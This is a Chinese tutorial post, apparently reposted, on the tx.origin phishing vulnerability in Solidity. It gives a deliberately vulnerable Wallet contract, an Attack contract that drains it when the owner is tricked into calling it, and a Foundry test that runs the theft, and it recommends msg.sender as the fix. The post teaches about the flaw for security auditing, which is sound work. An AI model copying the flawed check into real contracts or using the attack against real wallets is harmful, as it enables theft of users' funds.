本文主要是介绍SolidityFoundry 安全审计测试 tx.origin 漏洞,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
名称:tx.origin 漏洞
solidityproject/vulnerable-defi at master · XuHugo/solidityproject · GitHub
说明:
tx.origin是Solidity中的一个全局变量;智能合约中使用该变量进行身份验证,会使合约容易受到网络钓鱼攻击。
msg.sender: 指直接调用智能合约功能的帐户或智能合约的地址
tx.origin: 指调用智能合约功能的账户地址,只有账户地址可以是tx.origin
EOA -> Contract A -> Contract B -> Contract C
tx.origin始终保持是EOA,msg.sender是其直接调用者的地址。
场景:
钱包是一个简单的合约,只有所有者才能将以太币转移到另一个地址。以太币到另一个地址。Wallet.transfer()使用 tx.origin 来检查调用者是否为所有者。调用者是所有者。让我们看看如何破解这个合约
攻击过程
爱丽丝被骗调用了 Attack.attack()。在 Attack.attack() 中,它要求将 Alice 钱包中的所有资金转移到 Eve 的地址。由于 Wallet.transfer() 中的 tx.origin 等于 Alice 的地址、就授权了转账。钱包将所有以太币转给了 Eve。
预防措施
由于tx.origin可能存在安全隐患,因此建议始终使用msg.sender进行授权或检查调用智能合约的地址。
钱包代码:
contract Wallet {address public owner;constructor() payable {owner = msg.sender;}function transfer(address payable _to, uint _amount) public {// check with msg.sender instead of tx.originrequire(tx.origin == owner, "Not owner");(bool sent, ) = _to.call{value: _amount}("");require(sent, "Failed to send Ether");}
}
攻击代码
contract Attack {address payable public owner;Wallet wallet;constructor(Wallet _wallet) {wallet = Wallet(_wallet);owner = payable(msg.sender);}function attack() public {wallet.transfer(owner, address(wallet).balance);}
}
foundry测试代码:
contract ContractTest is Test {Wallet WalletContract;Attack AttackerContract;function testtxorigin() public {address alice = vm.addr(1);address eve = vm.addr(2);vm.deal(address(alice), 10 ether);vm.deal(address(eve), 1 ether);vm.prank(alice);WalletContract = new Wallet{value: 10 ether}(); //Alice deploys Wallet with 10 Etherconsole.log("Owner of wallet contract", WalletContract.owner());vm.prank(eve);AttackerContract = new Attack(WalletContract); //Eve deploys Attack with the address of Alice's Wallet contract.console.log("Owner of attack contract", AttackerContract.owner());console.log("Eve of balance", address(eve).balance);vm.prank(alice, alice);AttackerContract.attack(); // Eve tricks Alice to call AttackerContract.attack()console.log("tx origin address", tx.origin);console.log("msg.sender address", msg.sender);console.log("Eve of balance", address(eve).balance);}receive() external payable {}
}
这篇关于SolidityFoundry 安全审计测试 tx.origin 漏洞的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!